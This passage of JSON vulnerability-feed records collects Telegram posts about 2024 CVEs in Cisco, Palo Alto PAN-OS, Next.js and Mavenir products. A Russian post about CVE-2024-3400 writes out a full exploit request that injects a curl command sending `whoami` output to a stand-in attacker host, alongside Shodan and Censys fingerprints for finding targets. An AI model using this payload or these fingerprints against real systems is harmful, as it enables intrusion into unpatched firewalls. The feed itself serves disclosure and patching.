\u0634\u062f.\n\n\u0628\u062d\u0631\u0627\u0646\u06cc CVE-2024-34026 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc \u062f\u0647\u062f \u062a\u0627 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0647\u0627\u06cc EtherNet/IP \u062f\u0633\u062a\u06a9\u0627\u0631\u06cc \u0634\u062f\u0647 \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0631\u0648\u06cc \u06cc\u06a9 \u0633\u06cc\u0633\u062a\u0645 \u0647\u062f\u0641 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f.\n\n\u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c CVE-2024-36980\u060c CVE-2024-36981\u060c CVE-2024-39589 \u0648 CVE-2024-39590 \u0628\u0627 \u0634\u062f\u062a \u0628\u0627\u0644\u0627 \u0646\u06cc\u0632 \u0645\u06cc \u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0647 \u0631\u0648\u0634\u06cc \u0645\u0634\u0627\u0628\u0647 \u0645\u0648\u0631\u062f \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u06cc\u0631\u0646\u062f\u060c \u0627\u0645\u0627 \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u0646\u062c\u0631 \u0628\u0647 \u06cc\u06a9 \u0634\u0631\u0627\u06cc\u0637 DoS \u0645\u06cc \u0634\u0648\u062f.\n\n3. \u062e\u0648\u062f \u0633\u06cc\u0633\u06a9\u0648 \u0646\u06cc\u0632 11 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0627\u0632 \u062c\u0645\u0644\u0647 7 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0628\u0627 \u0634\u062f\u062a \u0628\u0627\u0644\u0627 \u0631\u0627 \u062f\u0631 \u0645\u062d\u0635\u0648\u0644\u0627\u062a \u062e\u0648\u062f \u06a9\u0647 IOS \u0648 IOS XE \u062f\u0627\u0631\u0646\u062f \u0628\u0631\u0637\u0631\u0641 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\n\u0634\u062f\u06cc\u062f\u062a\u0631\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644\u0627\u062a\u060c \u0634\u0634 \u0645\u0634\u06a9\u0644 DoS \u0627\u0633\u062a \u06a9\u0647 \u0628\u0631 \u0645\u0624\u0644\u0641\u0647 UTD\u060c \u0648\u06cc\u0698\u06af\u06cc RSVP\u060c \u0648\u06cc\u0698\u06af\u06cc PIM\u060c \u0648\u06cc\u0698\u06af\u06cc DHCP Snooping\u060c \u0648\u06cc\u0698\u06af\u06cc HTTP Server\u060c \u0648 \u06a9\u062f \u0645\u0648\u0646\u062a\u0627\u0698 \u0645\u062c\u062f\u062f \u0642\u0637\u0639\u0647 \u0642\u0637\u0639\u0647 IPv4 \u062f\u0631 IOS \u0648 IOS XE \u062a\u0623\u062b\u06cc\u0631 \u0645\u06cc \u06af\u0630\u0627\u0631\u062f.\n\n\u0647\u0645\u0647 \u0686\u06cc\u0632 \u0631\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631\u060c \u0628\u062f\u0648\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a\u060c \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u062a\u0631\u0627\u0641\u06cc\u06a9 \u06cc\u0627 \u0628\u0633\u062a\u0647\u200c\u0647\u0627\u06cc \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0648\u06cc\u0698\u0647 \u0628\u0647 \u06cc\u06a9 \u062f\u0633\u062a\u06af\u0627\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u060c \u0645\u0648\u0631\u062f \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f.\n\n\u0647\u0641\u062a\u0645\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0627 \u0634\u062f\u062a \u0628\u0627\u0644\u0627 \u0628\u0631 \u0631\u0627\u0628\u0637 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0648\u0628 IOS XE \u062a\u0623\u062b\u06cc\u0631 \u0645\u06cc\u200c\u06af\u0630\u0627\u0631\u062f \u0648 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0645\u0646\u062c\u0631 \u0628\u0647 \u062d\u0645\u0644\u0627\u062a CSRF \u0634\u0648\u062f\u060c \u0627\u06af\u0631 \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u062a\u0623\u06cc\u06cc\u062f \u0646\u0634\u062f\u0647\u060c \u06a9\u0627\u0631\u0628\u0631 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a\u200c\u0634\u062f\u0647 \u0631\u0627 \u0645\u062a\u0642\u0627\u0639\u062f \u06a9\u0646\u062f \u06a9\u0647 \u06cc\u06a9 \u067e\u06cc\u0648\u0646\u062f \u0633\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647 \u0631\u0627 \u062f\u0646\u0628\u0627\u0644 \u06a9\u0646\u062f.\n\n\u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u0631\u0641\u0639 \u062f\u0648 \u0628\u0627\u06af \u062c\u062f\u06cc \u062f\u0631 \u0633\u0631\u0648\u0631 SSH \u0645\u0631\u06a9\u0632 Catalyst (CVE-2024-20350)\u060c Crosswork Network Services Orchestrator (NSO) JSON-RPC API \u0648 ConfD (CVE-2024-20381) \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\u062f\u0631 \u0645\u0648\u0631\u062f CVE-2024-20350\u060c \u06cc\u06a9 \u06a9\u0644\u06cc\u062f \u0645\u06cc\u0632\u0628\u0627\u0646 SSH \u0627\u06cc\u0633\u062a\u0627 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u063a\u06cc\u0631\u0642\u0627\u0646\u0648\u0646\u06cc \u0648 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u0628\u0627 \u0631\u0647\u06af\u06cc\u0631\u06cc \u062a\u0631\u0627\u0641\u06cc\u06a9 \u0628\u06cc\u0646 \u0645\u0634\u062a\u0631\u06cc\u0627\u0646 SSH \u0648 \u062f\u0633\u062a\u06af\u0627\u0647 Catalyst Center\u060c \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u062a\u0632\u0631\u06cc\u0642 \u0641\u0631\u0645\u0627\u0646 \u0648 \u0633\u0631\u0642\u062a \u0627\u0639\u062a\u0628\u0627\u0631\u060c \u062d\u0645\u0644\u0647 MitM \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u062f\u0647\u062f.\n\nCVE-2024-20381 \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0628\u0631\u0631\u0633\u06cc \u0647\u0627\u06cc \u0646\u0627\u0645\u0646\u0627\u0633\u0628 \u0645\u062c\u0648\u0632 \u062f\u0631 JSON-RPC API \u0627\u0633\u062a \u06a9\u0647 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u062a\u0623\u06cc\u06cc\u062f \u0634\u062f\u0647 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0647\u0627\u06cc \u0645\u062e\u0631\u0628 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f\u060c \u06cc\u06a9 \u062d\u0633\u0627\u0628 \u062c\u062f\u06cc\u062f \u0627\u06cc\u062c\u0627\u062f \u06a9\u0646\u062f \u06cc\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u062e\u0648\u062f \u0631\u0627 \u0627\u0641\u0632\u0627\u06cc\u0634 \u062f\u0647\u062f.\n\n\u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c CVE-2024-20381 \u0628\u0631 \u0686\u0646\u062f\u06cc\u0646 \u0645\u062d\u0635\u0648\u0644\u060c \u0627\u0632 \u062c\u0645\u0644\u0647 \u0631\u0648\u062a\u0631\u0647\u0627\u06cc RV340 Dual WAN Gigabit VPN\u060c \u06a9\u0647 \u0628\u0647 EoL \u0631\u0633\u06cc\u062f\u0647 \u0627\u0646\u062f \u0648 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0646\u0645\u06cc \u0634\u0648\u0646\u062f\u060c \u062a\u0623\u062b\u06cc\u0631 \u0645\u06cc \u06af\u0630\u0627\u0631\u062f.\n\n\u0628\u0647 \u06af\u0641\u062a\u0647 \u0633\u06cc\u0633\u06a9\u0648\u060c \u0647\u06cc\u0686 \u06cc\u06a9 \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0647\u0627  \u0645\u0648\u0631\u062f \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u0646\u0645\u06cc \u06af\u06cc\u0631\u0646\u062f.\n\n\ud83c\udfaf \u062f\u0631 \u062c\u0631\u06cc\u0627\u0646 \u0646\u0628\u0636 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0635\u0646\u0639\u062a\u06cc \u0628\u0627\u0634\u06cc\u062f:\n\n\ud83c\udfed\u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\ud83d\udc6e\ud83c\udffd\u200d\u2640\ufe0f\u0647\u0631\u06af\u0648\u0646\u0647 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648 \u0630\u06a9\u0631 \u0645\u0637\u0627\u0644\u0628 \u0628\u062f\u0648\u0646 \u0630\u06a9\u0631 \u062f\u0642\u06cc\u0642 \u0645\u0646\u0628\u0639 \u0648 \u0622\u062f\u0631\u0633 \u0644\u06cc\u0646\u06a9 \u0622\u0646 \u0645\u0645\u0646\u0648\u0639 \u0627\u0633\u062a. \n\u0627\u062f\u0645\u06cc\u0646:\n\u200fhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert", "creation_timestamp": "2024-09-27T08:45:27.000000Z"}, {"uuid": "2030e7ff-57fa-450d-8983-7d49f3a74923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "Telegram/-AMVnSY6jDOojlnXSGqNnso0CPT7pe-b2HhnSTUmCsNWYZA", "content": "", "creation_timestamp": "2025-10-01T15:00:08.000000Z"}, {"uuid": "a591fd68-2108-4ef3-9c0a-3a50a8ffd826", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/BleepingComputer/19795", "content": "\u200aPalo Alto Networks zero-day exploited since March to backdoor firewalls\n\nSuspected state-sponsored hackers have been exploiting a zero-day vulnerability in Palo Alto Networks firewalls tracked as CVE-2024-3400 since March 26, using the compromised devices to breach internal networks, steal data and credentials. [...]\n\nhttps://www.bleepingcomputer.com/news/security/palo-alto-networks-zero-day-exploited-since-march-to-backdoor-firewalls/", "creation_timestamp": "2024-04-13T13:23:57.000000Z"}, {"uuid": "172acca5-d9a6-454a-8d39-55b319fdb876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/BleepingComputer/19835", "content": "\u200a22,500 Palo Alto firewalls \"possibly vulnerable\" to ongoing attacks\n\nApproximately 22,500 exposed Palo Alto GlobalProtect firewall devices are likely vulnerable to the CVE-2024-3400 flaw, a critical command injection vulnerability that has been actively exploited in attacks since at least March 26, 2024. [...]\n\nhttps://www.bleepingcomputer.com/news/security/22-500-palo-alto-firewalls-possibly-vulnerable-to-ongoing-attacks/", "creation_timestamp": "2024-04-19T19:35:04.000000Z"}, {"uuid": "2ab84011-418a-4589-94d7-4f6a16805a73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34521", "type": "seen", "source": "https://t.me/cvedetector/17954", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34521 - Mavenir SCE Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34521 \nPublished : Feb. 12, 2025, 11:15 p.m. | 1\u00a0hour, 58\u00a0minutes ago \nDescription : A directory traversal vulnerability exists in the Mavenir SCE Application Provisioning Portal, version PORTAL-LBS-R_1_0_24_0, which allows an administrative user to access system files with the file permissions of the privileged system user running the application. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-13T02:56:44.000000Z"}, {"uuid": "bb659bf7-1f38-44f2-9421-8c1ddf952158", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34520", "type": "seen", "source": "https://t.me/cvedetector/17953", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34520 - Mavenir SCE Authorization Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34520 \nPublished : Feb. 12, 2025, 11:15 p.m. | 1\u00a0hour, 58\u00a0minutes ago \nDescription : An authorization bypass vulnerability exists in the Mavenir SCE Application Provisioning Portal, version PORTAL-LBS-R_1_0_24_0, which allows an authenticated 'guest' user to perform unauthorized administrative actions, such as accessing the 'add user' feature, by bypassing client-side access controls. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-13T02:56:43.000000Z"}, {"uuid": "2f80159d-ccc9-46e3-b1c3-769f29ba710a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34351", "type": "published-proof-of-concept", "source": "https://t.me/poxek/4009", "content": "\ud83d\udea8Alert\ud83d\udea8CVE-2024-34351:Next.js Server-Side Request Forgery in Server Actions\n\ud83d\udd25PoC: https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps#/ \n\u26a0A SSRF vulnerability was identified in Next.js Server Actions by security researchers at Assetnote. If the Host header is modified, and the below conditions are also met, an attacker may be able to make requests that appear to be originating from the Next.js application server itself.\n\ud83d\udcca3.1M+ Services are found on  hunter.how\n\ud83d\udd17Hunter Link: https://hunter.how/list?searchValue=product.name%3D%22Next.js%22 \n\ud83d\udcf0Refer: https://github.com/advisories/GHSA-fr5h-rqp8-mj6g \nHunter:/product.name=\"Next.js\"\nFOFA:app=\"Next.js\"\nSHODAN:http.component:\"Next.js\"\n#NextJS #SSRF #Vulnerability", "creation_timestamp": "2024-05-10T12:02:39.000000Z"}, {"uuid": "3aab5af2-b59f-4127-8c66-4b4c436f4692", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/purple_medved/223", "content": "\u0414\u0435\u0442\u0430\u043b\u0438 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 RCE \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-3400 (\u043e\u0446\u0435\u043d\u043a\u0430 \u043f\u043e CVSS=10.0) \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435. \u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043e\u0442\u043b\u0438\u0447\u0438\u043b\u0441\u044f Palo Alto Networks - \u043e\u0434\u0438\u043d \u0438\u0437 \u043c\u0438\u0440\u043e\u0432\u044b\u0445 \u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f 0day RCE \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SSLVPN-\u0440\u0435\u0448\u0435\u043d\u0438\u044f GlobalProtect Gateway/Portal PAN-OS \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 Operation MidnightEclipse \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0438\u0437 Volexity. \n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u043d\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c RCE:\n\n\u2705 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Arbitrary File Write \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0438\u0441\u0430\u0442\u044c \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u0441 \u043b\u043e\u0433\u0430\u043c\u0438 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 /opt/panlogs/tmp/device_telemetry/ \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Path Traversal \u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438 Cookie\nCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}x1.outboundhost.com`;\n\u2705 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Command injection \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 pansys.py, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 curl \u0434\u043b\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043f\u043e cron, \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u043e\u0434\u0443\u043b\u044f subprocess.Popen()\n\u2705 \u0411\u0430\u0439\u043f\u0430\u0441 \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e IFS (Internal Field Separator)\n\nPOST /ssl-vpn/hipreport.esp HTTP/1.1\nHost: target.com\nCookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}attacker.fun?test=$(whoami)`;\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 0\n\n\u0412 \u0420\u043e\u0441\u0441\u0438\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u043c Shodan \u0432\u0441\u0435\u0433\u043e 256 \u0445\u043e\u0441\u0442\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 PAN-OS\ud83d\ude0e, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f ASAP\n\n\u2699\ufe0f POC: https://github.com/0x0d3ad/CVE-2024-3400\n\ud83d\udd0e Shodan: http.html_hash:-1303565546 \n\ud83d\udd0e Censys: services.http.response.body_hash=\"sha1:28f1cf539f855fff3400f6199f8912908f51e1e1\n\ud83d\udd0e Nuclei template: https://github.com/projectdiscovery/nuclei-templates/blob/b8bbbc5ed5ddbff87fbde649bd2f8a9a576b90c3/http/cves/2024/CVE-2024-3400.yaml\n\ud83e\udeb2 \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u041f\u041e: PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1\n\u2705 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438: \u041f\u0430\u0442\u0447\u0438 \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b", "creation_timestamp": "2024-04-18T07:32:10.000000Z"}, {"uuid": "c09a4b9a-0981-4963-bfc7-9d85365f54ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7099", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400\nURL\uff1ahttps://github.com/0x0d3ad/CVE-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-17T19:13:01.000000Z"}, {"uuid": "758f4157-e747-4315-97a4-dbeff4f6b356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7038", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400 Checker\nURL\uff1ahttps://github.com/shamo0/CVE-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-13T11:32:44.000000Z"}, {"uuid": "e3481db9-2b32-4024-831f-454d09993709", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7945", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aBurp Extension to test for CVE-2024-34102\nURL\uff1ahttps://github.com/crynomore/CVE-2024-34102\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-11T11:56:18.000000Z"}, {"uuid": "1d5c6ac8-3e38-45ba-abe6-b666bb04d453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34350", "type": "seen", "source": "https://t.me/cyberbannews_ir/11846", "content": "\ud83e\ude99 \u06a9\u0634\u0641 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Request Smuggling \u0648 SSRF \u062f\u0631 Next.js\n\n\ud83d\udd39\u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u0647\u0627\u06cc CVE-2024-34350 \u0648 CVE-2024-34351 \u0648 \u0634\u062f\u062a\u200c\u0647\u0627\u06cc \u0628\u0627\u0644\u0627 \u062f\u0631 \u0628\u0631\u062e\u06cc \u0627\u0632 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc Next.js \u06a9\u0634\u0641 \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 Response queue poisoning \u0648 SSRF \u0645\u06cc\u200c\u0628\u0627\u0634\u0646\u062f.\n\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Response queue poisoning \u0628\u0647 \u062f\u0644\u06cc\u0644 \u062a\u0641\u0633\u06cc\u0631 \u0646\u0627\u0633\u0627\u0632\u06af\u0627\u0631 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc HTTP \u0628\u0647 \u0648\u062c\u0648\u062f \u0622\u0645\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u06af\u0627\u0647\u06cc \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u06a9 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0648 \u06af\u0627\u0647\u06cc \u062f\u0648 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u062c\u062f\u0627\u06af\u0627\u0646\u0647 \u062a\u0641\u0633\u06cc\u0631 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc SSRF \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06cc\u06a9 \u0645\u0648\u0644\u0641\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u062f\u0631 Next.js \u0627\u06cc\u062c\u0627\u062f \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u0637\u0648\u0631 \u067e\u06cc\u0634\u200c\u0641\u0631\u0636 \u0641\u0639\u0627\u0644 \u0645\u06cc\u200c\u0628\u0627\u0634\u062f.\n\n\ud83d\udd18 \u06af\u0632\u0627\u0631\u0634 \u06a9\u0627\u0645\u0644 